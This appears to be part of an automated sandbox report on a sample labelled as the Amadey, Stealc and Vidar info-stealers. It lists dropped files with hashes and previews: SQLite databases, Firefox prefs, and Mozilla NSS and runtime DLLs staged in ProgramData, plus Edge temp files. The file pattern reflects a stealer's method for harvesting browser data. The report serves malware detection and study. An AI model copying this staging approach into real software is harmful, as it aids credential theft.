	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAAFCAFCBKFHJJJKKFHIDAAKFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDHDAFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2650644942962586
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM3SAELyKOMq+8QTQKC+CVumR:K0q+n0J39ELyKOMq+8Q7K
MD5:	84F25DBD0B4CCA9FD2907AE3B47E733F
SHA1:	516EE12F23D87F6399D5A1FEC77A144E95D6E326
SHA-256:	E37217A7EBDF9793177F44D47F0517380F4CBE7E0224EDCDE86086CCE022ADAA
SHA-512:	27C896F40B0562A67B10B172A416493B247AFA8197F619D1B01F0FE44680EBF2FA7B86D16C4E03D7D8A80440399BBF898F4564E0846801D95D85D32010DE72C6
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DHIDHIEGIIIECAKEBFBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDGIJJDGCBKFIDHIEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJJDAEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1373607036346451
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c9G/k4:MnlyfnGtxnfVuSVumEHUM4
MD5:	64BCCF32ED2142E76D142DF7AAC75730
SHA1:	30AB1540F7909BEE86C0542B2EBD24FB73E5D629
SHA-256:	B274913369030CD83E1C76E8D486F501E349D067824C6A519F2DAB378AD0CC09
SHA-512:	0C2B4FC0D38F97C8411E1541AB15B78C57FEA370F02C17F8CB26101A936F19E636B02AF1DF2A62C8EAEE6B785FE17879E2723D8618C9C3C8BD11EB943BA7AB31
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJEHIDHDAKJDHJKEBFIEHCAAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03708713717387235
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxW/Hy4XJwvnzfXfYf6zfTfN/0DApVJCI:58r54w0VW3xW/bXWzvACzbJ0DApVJ
MD5:	85D6E1D7F82C11DAC40C95C06B7B5DC5
SHA1:	96EA790BA7A295D78AD5A5019D7EA5E9E8F4B0BD
SHA-256:	D9AD18D2A91CB42FD55695B562D76337BBB4A6AEB45D28C4554297B4EE0DC800
SHA-512:	5DD2B75138EFB9588E14997D84C23C8225F9BFDCEA6A2A1D542AD2C6728484E7E578F06C4BA238853EAD9BE5F9A7CCCF7B2B49A0583FF93D67F072F2C5165B14
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKJKFCBKKJDGDHIDBGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1765), with CRLF line terminators
Category:	dropped
Size (bytes):	9976
Entropy (8bit):	5.499944288613473
Encrypted:	false
SSDEEP:	192:NzKneRdpYbBp6znmUzaX/6aRMKWPzDNBw8DK9mSl:Nz5eUmUtgmrwbw0
MD5:	42594FD09C4DF3B174CF5D59B1CAB13A
SHA1:	1B78FEB748C36A592C468A76BB60E98187D7BE4A
SHA-256:	F8B55E3B04E0A59BB745C43763D8FBC1CFFDBC247B5525A489B4B74A57319393
SHA-512:	E2430AB14ADF2EF1CC2CB1F96DEADAFB3598B803A5E7724FDDB68ACF015D7E052291626A3D100FED902731DBFD10A9AE3387581AD2867F64D0B27E8D51B9069F
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "38829aa4-f57e-4fd8-bfd3-d094d57ae30f");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696493966);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696493970);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\16167446-e5d8-45fc-93d1-7eaafec8a498.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46074
Entropy (8bit):	6.087757236169079
Encrypted:	false
SSDEEP:	768:bMkbJrT8IeQc5dXeckXLmZkNXUK2XaPLFXDo3rVIQmxgxC1ocwWE7RTupzKscDX/:bMk1rT8H1X9214IQ9IocoRTui/
MD5:	73D7DB8AFC1F5A445A854AB5F18C5267
SHA1:	BDF9AE3D848B72315983474CD06DCA2B9E20D606
SHA-256:	1E1DF03BACF592B65C4E71E2E4F5D9A13AC8FA1BCA26BC6E5C9BE9C405F266B6
SHA-512:	34AF880BA69C746F475A4D1DC30DCFF862D2AF4E3A684004C827B49E05EA88A71F6B2E3B551E4B93D6DBF9661B96F31647B0901643A137E1D4FA7891D431BFE6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"657c95aa-6cad-407f-bd80-3b4d2e7fbc37"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9310ebb8-78a9-45be-afe5-69023b4baf4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44715
Entropy (8bit):	6.095532334642054
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xuWqLmZkNXUK2XaPLFXDo3rVKwWE7RTupzKscDX//N+:z/Ps+wsI7yOuj14KoRTuiVIos
MD5:	4458FCB62118289F10CDFF3EEC398A71
SHA1:	34AAC11C32843454082F6B3E78F15B2A32DB2636
SHA-256:	935B21D90262C3515F1F8F0592474FE4508BB74B0288CDCB8AE8148655CBB879
SHA-512:	34D7909F4D7EA41A552B1D88A8C696208B42A67E6CF73A517B95C6CDBA1C3A9673A601CA43454B03AC4577E4E9FD4200EC334CD060157D988DD8EF16FE9BCC5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\4e6594af-d094-4fb5-89ef-a15d353bbb21.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640132669903667
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7+:fwUQC5VwBIiElEd2K57P7+
MD5:	18D8F6617A5020376CEDA06FB42C24D5
SHA1:	F921FF53D8E1A065550AD835D89E550FDF448795
SHA-256:	C0E1D05E90044F0F5810E83826BE6449D44234CD601668E5E041FE7F3B2CAB32
SHA-512:	4FC6D77BDE79EB4EA56D8CFAEE5908C6D9233E65AD199C52A7425B76ECE9869466D3BE52E2A20B85FE50ABD712C57D8591DEBDDB9F3CBA45070E3233CC185DA4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67445AB3-1AA0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.047259796537273344
Encrypted:	false
SSDEEP:	192:JoCwjW0pqtmHnOAQ5YVJPi6VBK/7+HfgHXARI6AMEYTwghBMNsb+zRQcD/O7jjTs:+ljW0ctM/d4gphqPVfyjjT08T2RGOD
MD5:	E9E35A23C31DB00861B5F097F400D3D1
SHA1:	38CF5CDDF36CB8C4F355B812761DBCB7BC35A534
SHA-256:	D85BCD57B47C9FF9B32691958F5A9AD9B023EA0EE185B00DBD04DD5311C8FB61
SHA-512:	C54E57071E26F3F948A77D4D63E08D872CBE78481850C81187939D7FB242C85891DDC6195FD28B2E3B51B7A259B943549B151AC9B8508CB4DF300135506D5FDF
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".gimgfx20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............!......................w..U..G...W6.>.........."....."...24.."."h5wmA/c+VK/+HCTGwU1TrwNY52XBTo9O05htSkjnNRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...V.-../Q@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2...........

